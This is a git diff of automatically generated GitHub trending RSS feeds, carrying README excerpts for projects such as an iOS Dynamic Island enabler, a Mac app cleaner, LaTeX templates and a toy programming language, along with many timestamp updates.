<p>Enable Dynamic Island on every device that is running iOS 16.0 - 16.6.1 / 17.0 using TrollStore.</p>
<p><a href="https://buymeacoffee.com/aboutzeph"><img src="https://raw.githubusercontent.com/matteozappia/DynamicCowTS/main/Images/buymeacoffeebutton.png" width="200" height="56"></a> <a href="https://ko-fi.com/aboutzeph"><img src="https://raw.githubusercontent.com/matteozappia/DynamicCowTS/main/Images/kofibutton.png" width="358" height="56"></a></p>
<h2>Screenshots</h2>
<p><img src="https://raw.githubusercontent.com/matteozappia/DynamicCowTS/main/Images/IMG_0101.PNG" width="300" height="650"> <img src="https://raw.githubusercontent.com/matteozappia/DynamicCowTS/main/Images/IMG_0102.PNG" width="300" height="650"> <img src="https://raw.githubusercontent.com/matteozappia/DynamicCowTS/main/Images/IMG_0105.PNG" width="300" height="650"> <img src="https://raw.githubusercontent.com/matteozappia/DynamicCowTS/main/Images/IMG_0106.PNG" width="300" height="650"></p>
<h2>Troubleshoot</h2>
<p>DynamicCowTS has a troubleshoot section to restore the plist file, but if you want you can also use <a href="https://routinehub.co/shortcut/4920/">this shortcut</a>.</p>
<p>The shortcut will "reset" the plist file to an initial state solving any kind of problem.</p>
<p>If the app somehow broke completely and you are an advanced user you can also manually copy and paste in mobile gestalt cache path and eventually, if you are on iPhone XR or 11 in iokit graphics family path, the two plist files located in <code>/var/mobile/Documents/.DynamicCowBackups</code>.</p>
<h3>How to use the shortcut</h3>
<ol>
<li>Simply start it and wait for a drop-down menu to appear.</li>
<li>Then click on "View it in Quick View".</li>
<li>You should see some writing, if the file is empty restart the shortcut.</li>
</ol>
<h2>Notes</h2>
<ul>
<li> <p>iOS 16.7.x / iOS 17.0.1 or newer it will never be supported as it rely on TrollStore.</p> </li>
<li> <p>iOS 15/14/13 etc. are <strong>NOT</strong> and will never be supported, as this is <strong>NOT</strong> a tweak. If you have one of the above listed iOS versions, please stay away from it cause it can bootloop your device.</p> </li>
<li> <p>I will keep you updated on <a href="https://x.com/aboutzeph">X / Twitter</a> and on this readme about new features and bug fixes.</p> </li>
</ul>
<h2>Credits</h2>
<ul>
<li><a href="https://github.com/Halo-Michael">Halo-Michael</a> for killAll binary.</li>
</ul>
-
-
- alienator88/Pearcleaner
- 2023-12-12T02:00:05Z
- tag:github.com,2023-12-12:/alienator88/Pearcleaner
-
- <p>Open-source mac app cleaner</p><hr><h1>Pearcleaner</h1>
<img src="https://github.com/alienator88/Pearcleaner/assets/6263626/e6829883-894e-49a1-bc75-2c4550593b98" align="left" width="128" height="128">
<br>
<p align="center"> <strong>Status: </strong>Maintained <br> <strong>Version: </strong>1.8 <br> <a href="https://github.com/alienator88/Pearcleaner/releases"><strong>Download</strong></a> · <a href="https://github.com/alienator88/Pearcleaner/commits">Commits</a> </p>
<p></p>
<br>
<p>An open-source mac app cleaner inspired by <a href="https://freemacsoft.net/appcleaner/">Freemacsoft's AppCleaner</a> and <a href="https://sunknudsen.com/privacy-guides/how-to-clean-uninstall-macos-apps-using-appcleaner-open-source-alternative">Sun Knudsen's Privacy Guides</a> post on his app-cleaner script. This project was born out of wanting to learn more. There's probably parts of the code that could be done better as I'm fairly new to Swift, if you have suggestions I'm open to hearing them!</p>
<h2>Features</h2>
<ul>
<li>100% Swift/SwiftUI</li>
<li>Super small app size (~2MB)</li>
<li>Quick file search</li>
<li>Optional Sentinel monitor helper that can be enabled to watch Trash folder for deleted apps</li>
<li>Sentinel monitor is extremely small (210KB) and uses ~2mb of ram to run in the background and file watch. Communicates to app via custom url scheme instead of xpc to keep things even lighter</li>
<li>Mini mode which can be enabled from Settings</li>
<li>Can drop apps to uninstall directly on the Pearcleaner Dock icon itself or the drop target in the app window</li>
<li>Will differentiate between regular apps and Safari web-apps with a "web" label next to each item in the list</li>
<li>Will differentiate between regular apps and wrapped iOS apps with an "iOS" label next to each item in the list</li>
<li>Has clean uninstall menu option for the Pearcleaner app itself if you want to stop using it and get rid of all files and launch items</li>
<li>Requires Full Disk permission to search for files and also Accessibility to delete/restore files</li>
<li>Built-in auto-updater that pulls latest release notes and binaries from GitHub Releases (Might not work well if app is not in /Applications folder because of permissions)</li>
</ul>
<h2>Regular Mode</h2>
<img src="https://github.com/alienator88/Pearcleaner/assets/6263626/db6aae06-be0d-42af-bcab-cdb8e5bda42a" align="left" width="400">
<img src="https://github.com/alienator88/Pearcleaner/assets/6263626/70066a2a-fb33-40e5-b328-8fc2253e25ff" align="center" width="400">
<p></p>
<img src="https://github.com/alienator88/Pearcleaner/assets/6263626/a9cec1e2-1a13-42aa-a3e5-3cb8c448dd3e" align="left" width="400">
<img src="https://github.com/alienator88/Pearcleaner/assets/6263626/5249d735-f87b-41c7-83da-b84a21ac9552" align="center" width="400">
<p></p>
<h2>Mini Mode</h2>
<img src="https://github.com/alienator88/Pearcleaner/assets/6263626/62f72204-5f13-49a8-8956-cd56ef52acdf" align="center" width="400">
<img src="https://github.com/alienator88/Pearcleaner/assets/6263626/9cf8e848-1efe-4475-8f4b-cd89a51ec10e" align="left" width="400">
<p></p>
<img src="https://github.com/alienator88/Pearcleaner/assets/6263626/238dfeb7-2841-4ada-bbbf-35cdda46fde1" align="center" width="400">
<img src="https://github.com/alienator88/Pearcleaner/assets/6263626/b593564b-8c7e-42a2-a25b-124a0efb6a24" align="left" width="400">
<h2>Requirements</h2>
<ul>
<li>MacOS 13.0+</li>
<li>Using some newer SwiftUI code which requires 13.0+</li>
</ul>
<h2>Getting Pearcleaner</h2>
<ul>
<li>Releases</li>
</ul>
<p>Pre-compiled, always up-to-date versions are available from my releases page. You might need to open this with right click-open since I don't have a paid developer account.</p>
<ul>
<li>Homebrew</li>
</ul>
<p>Since I don't have a paid developer account, I can't submit to the main Homebrew cask repo. You can still add the app via Homebrew by tapping my repo:</p>
<pre><code>brew tap alienator88/homebrew-cask
brew install --cask pearcleaner
</code></pre>
<h2>Thanks</h2>
<p>Much appreciation to <a href="https://freemacsoft.net/appcleaner/">Freemacsoft's AppCleaner</a> and <a href="https://sunknudsen.com/privacy-guides/how-to-clean-uninstall-macos-apps-using-appcleaner-open-source-alternative">Sun Knudsen's app-cleaner script</a></p>
-
-
- appbrewery/EggTimer-iOS13
- 2023-12-12T02:00:05Z
- tag:github.com,2023-12-12:/appbrewery/EggTimer-iOS13
-
- <p>Learn to Code While Building Apps - The Complete iOS Development Bootcamp</p><hr><p><img src="https://raw.githubusercontent.com/appbrewery/EggTimer-iOS13/master/Documentation/AppBreweryBanner.png" alt="App Brewery Banner"></p>
<h1>Egg Timer</h1>
<h2>Our Goal</h2>
<p>This module will be a mix of tutorials and challenges. Most importantly, we want you to get comfortable with looking up how to do something you've never done before. In certain places of this module, you’ll need to follow the 5 step process you learnt in the Xylophone module and use Google search, StackOverflow and Apple Documentation to make your code do what you want it to. But there are also other parts where we’ll take you step-by-step through new Swift programming concepts.</p>
<h2>What You'll Make</h2>
<p>You’ll be building a beautiful egg timer app to boil your eggs to perfection depending on how you prefer your eggs.</p>
<h2>What you will learn</h2>
<ul>
<li>Swift Collection types - Dictionaries</li>
<li>The Swift Timer API</li>
<li>Conditional statements - IF/ELSE</li>
<li>Conditional statements - Switch</li>
<li>Functions with outputs</li>
<li>How to use the ProgressView</li>
</ul>
<blockquote>
<p>This is a companion project to The App Brewery's Complete App Development Bootcamp, check out the full course at <a href="https://www.appbrewery.co/">www.appbrewery.co</a></p>
</blockquote>
<p><img src="https://raw.githubusercontent.com/appbrewery/EggTimer-iOS13/master/Documentation/readme-end-banner.png" alt="End Banner"></p>
-
\ No newline at end of file
diff --git a/swig/daily/index.xml b/swig/daily/index.xml
index 6ff8fc359b6..30a07132174 100644
--- a/swig/daily/index.xml
+++ b/swig/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SWIG Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:01Z
+ 2023-12-13T01:45:16Z
Daily Trending of SWIG in GitHub
\ No newline at end of file
diff --git a/systemverilog/daily/index.xml b/systemverilog/daily/index.xml
index a7339801fe6..c77a4dcde0c 100644
--- a/systemverilog/daily/index.xml
+++ b/systemverilog/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SystemVerilog Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:16Z
+ 2023-12-13T01:45:36Z
Daily Trending of SystemVerilog in GitHub
\ No newline at end of file
diff --git a/talon/daily/index.xml b/talon/daily/index.xml
index 556360d1fb1..6bfa389ae87 100644
--- a/talon/daily/index.xml
+++ b/talon/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Talon Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:13Z
+ 2023-12-13T01:45:37Z
Daily Trending of Talon in GitHub
\ No newline at end of file
diff --git a/tcl/daily/index.xml b/tcl/daily/index.xml
index fae1a257f2a..9894539790e 100644
--- a/tcl/daily/index.xml
+++ b/tcl/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Tcl Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:15Z
+ 2023-12-13T01:45:38Z
Daily Trending of Tcl in GitHub
+
+ jsbillings/caenvnc
+ 2023-12-13T01:45:38Z
+ tag:github.com,2023-12-13:/jsbillings/caenvnc
+
+ <p>CAEN VNC client for linux</p><hr>
+
\ No newline at end of file
diff --git a/tcsh/daily/index.xml b/tcsh/daily/index.xml
index 77beb1542cd..f15942b2a15 100644
--- a/tcsh/daily/index.xml
+++ b/tcsh/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Tcsh Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:14Z
+ 2023-12-13T01:45:35Z
Daily Trending of Tcsh in GitHub
\ No newline at end of file
diff --git a/tea/daily/index.xml b/tea/daily/index.xml
index 7ce823bf9de..a3aef4da5d0 100644
--- a/tea/daily/index.xml
+++ b/tea/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Tea Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:18Z
+ 2023-12-13T01:45:39Z
Daily Trending of Tea in GitHub
\ No newline at end of file
diff --git a/terra/daily/index.xml b/terra/daily/index.xml
index 975d909d799..a17371e81e6 100644
--- a/terra/daily/index.xml
+++ b/terra/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Terra Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:19Z
+ 2023-12-13T01:45:41Z
Daily Trending of Terra in GitHub
\ No newline at end of file
diff --git a/tex/daily/index.xml b/tex/daily/index.xml
index 33645c846f0..7289a9baa61 100644
--- a/tex/daily/index.xml
+++ b/tex/daily/index.xml
@@ -1,21 +1,28 @@
GitHub TeX Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:22Z
+ 2023-12-13T01:45:43Z
Daily Trending of TeX in GitHub
- dlt-science/science-notes
- 2023-12-12T02:00:22Z
- tag:github.com,2023-12-12:/dlt-science/science-notes
-
- <p>DSF Science Notes</p><hr><h1>Science Notes</h1>
<h2>Steps to add a new blog post</h2>
<ul>
<li>Create a new folder in <code>blogs/</code> with the name of the blog post</li>
<li>Add your markdown file in the new folder and images in in the <code><folder-name>/images/</code> folder.</li>
<li>Add the markdown in _toc.yml under relevant category</li>
<li>Build the book as mentioned in <a href="https://raw.githubusercontent.com/dlt-science/science-notes/main/#build-the-book">section</a></li>
<li>Verify the changes in the browser as mentioned in <a href="https://raw.githubusercontent.com/dlt-science/science-notes/main/#local-testing-of-the-website">section</a></li>
<li>Build the regular pdf as mentioned in <a href="https://raw.githubusercontent.com/dlt-science/science-notes/main/#build-pdf">section</a></li>
<li>Build the latex pdf as mentioned in <a href="https://raw.githubusercontent.com/dlt-science/science-notes/main/#build-pdf-through-latex">section</a></li>
<li>Push the changes to the repo and get the merge request approved.</li>
<li>After the merge request is approved to be merged with main, the changes will be reflected in the website after workflow is completed in github actions.</li>
</ul>
<h2>Setup</h2>
<h3>Clone this repository</h3>
<pre><code class="language-zsh">git clone https://github.com/dlt-science/science-notes.git
</code></pre>
<p>Navigate to the directory of the cloned repo</p>
<pre><code class="language-zsh">cd science-notes
</code></pre>
<h3>Create a python virtual environment</h3>
<ul>
<li>MacOS / Linux</li>
</ul>
<pre><code class="language-zsh">python3 -m venv venv
</code></pre>
<ul>
<li>Windows</li>
</ul>
<pre><code class="language-zsh">python -m venv venv
</code></pre>
<h3>Activate the virtual environment</h3>
<ul>
<li>iOS</li>
</ul>
<pre><code class="language-zsh">. venv/bin/activate
</code></pre>
<ul>
<li>Windows (in Command Prompt, NOT Powershell)</li>
</ul>
<pre><code class="language-zsh">venv\Scripts\activate.bat
</code></pre>
<h3>Install the project in editable mode</h3>
<pre><code class="language-zsh">pip install -r requirements.txt
</code></pre>
<h2>Build the book</h2>
<p>Run the below command. Use <code>--all</code> to force rebuild all</p>
<pre><code class="language-zsh">jupyter-book build --all blogs/
</code></pre>
<p>View the book in browser</p>
<ul>
<li>iOS</li>
</ul>
<pre><code class="language-zsh">open blogs/_build/html/index.html
</code></pre>
<ul>
<li>Windows</li>
</ul>
<pre><code class="language-zsh">start blogs/_build/html/index.html
</code></pre>
<h2>Build pdf</h2>
<p>Must first install the right version of <code>urllib3</code> if haven't</p>
<pre><code class="language-zsh">pip install -U "urllib3<1.25"
</code></pre>
<pre><code class="language-zsh">jupyter-book build blogs/ --builder pdfhtml
</code></pre>
<p>This command times out, so you'll need to override the timeout manually in the file : <code>venv/lib/python3.11/site-packages/pyppeteer/page.py</code> by changing the line 134 to: <code>self._defaultNavigationTimeout = 3000000 # milliseconds</code></p>
<p>The generated pdf can be found <a href="https://raw.githubusercontent.com/dlt-science/science-notes/main/blogs/_build/pdf/book.pdf">here</a>. The latex generated pdf can be found <a href="https://raw.githubusercontent.com/dlt-science/science-notes/main/blogs/_build/latex/pdf/book.pdf">here</a>.</p>
<h2>Build pdf through latex</h2>
<pre><code class="language-zsh">jupyter-book build blogs/ --builder pdflatex
</code></pre>
<h2>Update the data github pages link</h2>
<p><em>Can only be run by admins/maintainers of the repo.</em></p>
<pre><code class="language-zsh">ghp-import -n -p -f blogs/_build/html
</code></pre>
<h2>Local testing of the website</h2>
<ul>
<li>Install VSCode extension <code>Live Server</code></li>
<li>Right-click <code>blogs/_build/html/index.html</code> in VSCode and select <code>Open with Live Server</code>.</li>
<li>You can now see the changes in the browser everytime you rebuild the book (<code>jupyter-book build --all blogs/</code>).</li>
</ul>
+ liblaf/ilatex
+ 2023-12-13T01:45:43Z
+ tag:github.com,2023-12-13:/liblaf/ilatex
+
+ <p>Minimal LaTeX Templates</p><hr><h1>ilatex</h1>
<p><a href="https://github.com/liblaf/ilatex/actions/workflows/docs.yaml"><img src="https://img.shields.io/github/actions/workflow/status/liblaf/ilatex/docs.yaml" alt="Build Status"></a> <a href="https://liblaf.github.io/ilatex/"><img src="https://img.shields.io/website?url=https%3A%2F%2Fliblaf.github.io%2Filatex%2F&label=docs" alt="Docs"></a> <a href="https://github.com/liblaf/ilatex/releases"><img src="https://img.shields.io/github/v/release/liblaf/ilatex" alt="Release"></a></p>
<p>Minimal LaTeX Templates</p>
<h2>Documentation</h2>
<p>Documentation is hosted on <a href="https://liblaf.github.io/ilatex/">GitHub Pages</a>.</p>
- HKFoggyU/hkust-thesis
- 2023-12-12T02:00:22Z
- tag:github.com,2023-12-12:/HKFoggyU/hkust-thesis
-
- <p>HKUST Thesis LaTeX3 Template (Also available on Overleaf)</p><hr><h1>HKUST Thesis</h1>
<p><a href="https://raw.githubusercontent.com/HKFoggyU/hkust-thesis/main/README_CN.md">中文说明</a></p>
<p><a href="https://www.latex-project.org/lppl/lppl-1-3c/"><img src="https://img.shields.io/github/license/HKFoggyU/hkust-thesis" alt="LICENSE"></a> <a href="https://github.com/HKFoggyU/hkust-thesis/stargazers"><img src="https://img.shields.io/github/stars/HKFoggyU/hkust-thesis" alt="STARS"></a> <a href="https://github.com/HKFoggyU/hkust-thesis/actions"><img src="https://github.com/HKFoggyU/hkust-thesis/actions/workflows/test.yml/badge.svg?sanitize=true" alt="TEST"></a> <a href="https://github.com/HKFoggyU/hkust-thesis/releases"><img src="https://github.com/HKFoggyU/hkust-thesis/actions/workflows/release.yml/badge.svg?sanitize=true" alt="RELEASE"></a></p>
<p>HKUST Thesis template for RPG students implemented with LaTeX3.</p>
<h2>Getting started</h2>
<p>Try this template online on <a href="https://www.overleaf.com/latex/templates/hkustthesis/mstwvckmhmjg">Overleaf</a> in 1 minute! You only need to do 2 things:</p>
<ol>
<li>Remember to change the <code>Compiler</code> to <strong><code>XeLaTeX</code></strong> via the top left <code>Menu</code> button, otherwise it won't compile.</li>
<li>Download and read carefully the <strong><a href="https://github.com/HKFoggyU/hkust-thesis/releases/latest/download/hkustthesis.pdf">PDF documentation</a></strong> before you edit your thesis.</li>
</ol>
<p>Alternatively, you can download the release file and try it on your local machine.</p>
<h2>Contributions</h2>
<p>If you find any problems or have any suggestions, please file an issue or PR.</p>
<h2>Disclaimer</h2>
<p>FYTGS doesn't provide any template for thesis submission. They only emphasize that the submitted PDF file should meet the requirements in the <a href="https://fytgs.hkust.edu.hk/academics/Academic-Regulations-and-Requirements/Handbook-for-Research-Postgraduate-Studies/guidelines-thesis-preparation">RPG Handbook</a>.</p>
<p>This template has tried its best to follow the above requirements in the RPG Handbook and also the formatting instructions of the sample pages (<a href="https://fytgs.hkust.edu.hk/sites/default/files/imce/thesis_sample_page_mphil.pdf">MPhil</a>/<a href="https://fytgs.hkust.edu.hk/sites/default/files/imce/thesis_sample_page_phd.pdf">PhD</a>) provided by the RPG Handbook. However, this template takes no responsibility for any potential inconsistency.</p>
<h2>License</h2>
<p>LaTeX Project Public License (version 1.3c)</p>
<h2>Acknowledgements</h2>
<p>This project is modified from the <a href="https://github.com/nju-lug/NJUThesis"><code>NJUThesis</code></a> project with the help from <a href="https://github.com/nju-lug">NJU-LUG</a>.</p>
+ hyle-team/docs
+ 2023-12-13T01:45:43Z
+ tag:github.com,2023-12-13:/hyle-team/docs
+
+ <p>All technical papers, drafts, ideas, discussions related to hyle projects.</p><hr><h1>Hyle Team Documentation</h1>
<p>Greetings, from the Hyle Team!</p>
<p>In this repository, you'll find relevant documentation for all past, present, and future Hyle Team projects!</p>
<p>For any information not listed in this repository, please visit the <a href="https://hyle.io/">Hyle Team website</a> and/or contact us directly.</p>
+
+
+ Sanguinik/template-wiss-arbeit
+ 2023-12-13T01:45:43Z
+ tag:github.com,2023-12-13:/Sanguinik/template-wiss-arbeit
+
+ <p>LaTeX-Template für eine wissenschaftliche Arbeit</p><hr><h1>template-wiss-arbeit</h1>
<p>LaTeX-Template für eine wissenschaftliche Arbeit</p>
<h2>Hinweise</h2>
<h3>Seitenlayout</h3>
<p>Das Template ist für den zweiseitigen Druck konfiguriert. Sollte ein einseitiger Druck gewünscht sein, genügt es, die Option <code>twoside</code> bei der Definition der <code>\documentclass</code> zu löschen. Die zusätzlichen <code>\cleardoublepage</code>-Befehle wirken nur bei der Option <code>twoside</code>.</p>
<p>Sollte ein neuer Abschnitt hinzugefügt werden, der für das zweiseitige Drucken eine neue Leerseite benötigt, so kann eine Leerseite mit dem Befehl <code>\cleardoublepage</code> direkt nach dem entsprechendem Abschnitt hinzugefügt werden.</p>
<p>Beim Einfügen von Leerseiten wird die Seitennummerierung weitergezählt.</p>
<h3>Glossar</h3>
<p>####Beispiel für einen Glossareintrag:</p>
<p>Der Befehl <code>\makeglossaries</code> muss im Header der tex-Datei stehen, die später kompilliert wird. In diesem Template ist das die <code>Vorlage.tex</code></p>
<p>Ebenfalls im Header wird ein Glossareintrag erstellt:</p>
<pre><code>\newglossaryentry{Glossareintrag}{name={Glossareintrag},description={Das
ist die Beschreibung des Glossareintrags und daneben steht die Seitenzahl,
auf der der Eintrag zu finden ist}}
</code></pre>
<p>In dieser Vorlage befindet sich die Konfiguration des Glossars in der Datei <code>konfiguration/glossarconfig.tex</code></p>
<p>Im Text selbst werden dann die Verweise für einen Glossareintrag definiert:</p>
<pre><code>Test test \gls{Glossareintrag} test.
</code></pre>
<p>In der kompillierten Datei wird dann folgender Text angezeigt:</p>
<pre><code>Test test Glossareintrag test.
</code></pre>
<p>An der Stelle, an der das Glossar dann im Dokument angezeigt werden soll, ist folgender Befehl in das Dokument einzubinden:</p>
<pre><code>\printglossary[title={Glossar}, toctitle={Glossar}]
</code></pre>
<p>In dieser Vorlage ist das im Dokument <code>anhang/glossar.tex</code> ausgelagert.</p>
<p>Damit das Glossar auch im Inhaltsverzeichnis angezeigt wird, muss davor folgender Befehl stehen:</p>
<pre><code>\addcontentsline{toc}{chapter}{Glossar}{}
</code></pre>
<h4>Kompillieren</h4>
<p>Da das Glossar beim einfachen kompillieren nicht automatisch erzeugt und gebaut wird, müssen folgende Befehle nacheinander auf der Konsole ausgeführt werden:</p>
<ol>
<li><code>pdflatex vorlage.tex</code></li>
<li><code>makeindex.exe -s vorlage.ist -t vorlage.glg -o vorlage.gls vorlage.glo</code></li>
<li><code>pdflatex vorlage.tex</code></li>
</ol>
\ No newline at end of file
diff --git a/texinfo/daily/index.xml b/texinfo/daily/index.xml
index 76e08240782..403ef45a864 100644
--- a/texinfo/daily/index.xml
+++ b/texinfo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Texinfo Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:18Z
+ 2023-12-13T01:45:40Z
Daily Trending of Texinfo in GitHub
\ No newline at end of file
diff --git a/text/daily/index.xml b/text/daily/index.xml
index ccbe5a8a051..919288f61da 100644
--- a/text/daily/index.xml
+++ b/text/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Text Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:28Z
+ 2023-12-13T01:45:53Z
Daily Trending of Text in GitHub
\ No newline at end of file
diff --git a/textile/daily/index.xml b/textile/daily/index.xml
index cd6a141b8e2..9e8277cd7d2 100644
--- a/textile/daily/index.xml
+++ b/textile/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Textile Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:27Z
+ 2023-12-13T01:45:52Z
Daily Trending of Textile in GitHub
\ No newline at end of file
diff --git a/textmate-properties/daily/index.xml b/textmate-properties/daily/index.xml
index 8d5f4d1d5a0..7c7cce0e8b8 100644
--- a/textmate-properties/daily/index.xml
+++ b/textmate-properties/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TextMate Properties Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:29Z
+ 2023-12-13T01:45:51Z
Daily Trending of TextMate Properties in GitHub
\ No newline at end of file
diff --git a/thrift/daily/index.xml b/thrift/daily/index.xml
index feec742912c..1b6ca2e845f 100644
--- a/thrift/daily/index.xml
+++ b/thrift/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Thrift Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:30Z
+ 2023-12-13T01:45:53Z
Daily Trending of Thrift in GitHub
\ No newline at end of file
diff --git a/ti-program/daily/index.xml b/ti-program/daily/index.xml
index d035a415e4b..70da5475fbe 100644
--- a/ti-program/daily/index.xml
+++ b/ti-program/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TI Program Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:31Z
+ 2023-12-13T01:45:55Z
Daily Trending of TI Program in GitHub
\ No newline at end of file
diff --git a/tla/daily/index.xml b/tla/daily/index.xml
index f60297bfbff..896922c5652 100644
--- a/tla/daily/index.xml
+++ b/tla/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TLA Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:33Z
+ 2023-12-13T01:45:55Z
Daily Trending of TLA in GitHub
\ No newline at end of file
diff --git a/toml/daily/index.xml b/toml/daily/index.xml
index 6dc1e9ffa19..980322a6b3a 100644
--- a/toml/daily/index.xml
+++ b/toml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TOML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:31Z
+ 2023-12-13T01:45:56Z
Daily Trending of TOML in GitHub
\ No newline at end of file
diff --git a/tsql/daily/index.xml b/tsql/daily/index.xml
index 9d1c4b0ef13..24af1002c88 100644
--- a/tsql/daily/index.xml
+++ b/tsql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TSQL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:35Z
+ 2023-12-13T01:45:59Z
Daily Trending of TSQL in GitHub
\ No newline at end of file
diff --git a/tsv/daily/index.xml b/tsv/daily/index.xml
index 00bf442afdc..d43fb17bdbc 100644
--- a/tsv/daily/index.xml
+++ b/tsv/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TSV Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:34Z
+ 2023-12-13T01:46:01Z
Daily Trending of TSV in GitHub
\ No newline at end of file
diff --git a/tsx/daily/index.xml b/tsx/daily/index.xml
index 1ff1d917d8b..e474794abe2 100644
--- a/tsx/daily/index.xml
+++ b/tsx/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TSX Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:36Z
+ 2023-12-13T01:45:58Z
Daily Trending of TSX in GitHub
\ No newline at end of file
diff --git a/turing/daily/index.xml b/turing/daily/index.xml
index 8d4750bac7b..32af51cd310 100644
--- a/turing/daily/index.xml
+++ b/turing/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Turing Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:35Z
+ 2023-12-13T01:46:00Z
Daily Trending of Turing in GitHub
\ No newline at end of file
diff --git a/turtle/daily/index.xml b/turtle/daily/index.xml
index 16b2004a73a..d4293e53e08 100644
--- a/turtle/daily/index.xml
+++ b/turtle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Turtle Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:37Z
+ 2023-12-13T01:46:02Z
Daily Trending of Turtle in GitHub
\ No newline at end of file
diff --git a/twig/daily/index.xml b/twig/daily/index.xml
index 98abc8e8102..f5f6dd9fff4 100644
--- a/twig/daily/index.xml
+++ b/twig/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Twig Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:40Z
+ 2023-12-13T01:46:04Z
Daily Trending of Twig in GitHub
\ No newline at end of file
diff --git a/txl/daily/index.xml b/txl/daily/index.xml
index d8693dccc9e..e125cfdadad 100644
--- a/txl/daily/index.xml
+++ b/txl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TXL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:39Z
+ 2023-12-13T01:46:03Z
Daily Trending of TXL in GitHub
\ No newline at end of file
diff --git a/type-language/daily/index.xml b/type-language/daily/index.xml
index 66f559a1ae0..a8dca366d19 100644
--- a/type-language/daily/index.xml
+++ b/type-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Type Language Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:38Z
+ 2023-12-13T01:46:03Z
Daily Trending of Type Language in GitHub
\ No newline at end of file
diff --git a/typescript/daily/index.xml b/typescript/daily/index.xml
index b9668894cb6..44094fb3189 100644
--- a/typescript/daily/index.xml
+++ b/typescript/daily/index.xml
@@ -1,21 +1,28 @@
GitHub TypeScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:45Z
+ 2023-12-13T01:46:09Z
Daily Trending of TypeScript in GitHub
- DulLabs/bhai-lang
- 2023-12-12T02:00:45Z
- tag:github.com,2023-12-12:/DulLabs/bhai-lang
-
- <p>A toy programming language written in Typescript</p><hr><h1 align="center">Bhai Lang</h1>
<p align="center"> <a href="https://lgtm.com/projects/g/DulLabs/bhai-lang/alerts/"><img alt="Total alerts" src="https://img.shields.io/lgtm/alerts/g/DulLabs/bhai-lang.svg?logo=lgtm&logoWidth=18"></a> <a href="https://lgtm.com/projects/g/DulLabs/bhai-lang/context:javascript"><img alt="Language grade: JavaScript" src="https://img.shields.io/lgtm/grade/javascript/g/DulLabs/bhai-lang.svg?logo=lgtm&logoWidth=18"></a> <a href="https://github.com/DulLabs/bhai-lang/actions/workflows/node.js.yml/badge.svg"><img alt="Build" src="https://github.com/DulLabs/bhai-lang/actions/workflows/node.js.yml/badge.svg?sanitize=true"></a> <a href="https://bhailang.js.org/"><img alt="Build" src="https://img.shields.io/badge/website-bhailang.js.org-orange"></a> <a href="https://www.npmjs.com/package/bhailang"><img alt="Build" src="https://img.shields.io/badge/npm-bhailang-orange"></a> </p>
<p align="center"> This is official repository for bhai-lang.<br><br> <b>Bhai lang is a toy programming language written in Typescript.</b> </p>
<br>
<h2 align="center">Installation</h2>
<pre><code>npm i -g bhailang
</code></pre>
<h2 align="center">Usage</h2>
<h4 align="left">Create a new file (<code>test.bhai</code>)</h4>
<h4 align="left">Edit the file with a text editor. You can also try out your code on <a href="https://bhailang.js.org/#playground">Bhai Lang PlayGround</a></h4>
<pre><code>hi bhai
bol bhai "Hello bhai";
bye bhai
</code></pre>
<h4 align="left">Run</h4>
<pre><code>bhailang test.bhai
</code></pre>
<h4 align="left">Output</h4>
<pre><code>hello bhai
</code></pre>
<h2 align="center">Documentation</h2>
<h3 align="center">General</h3>
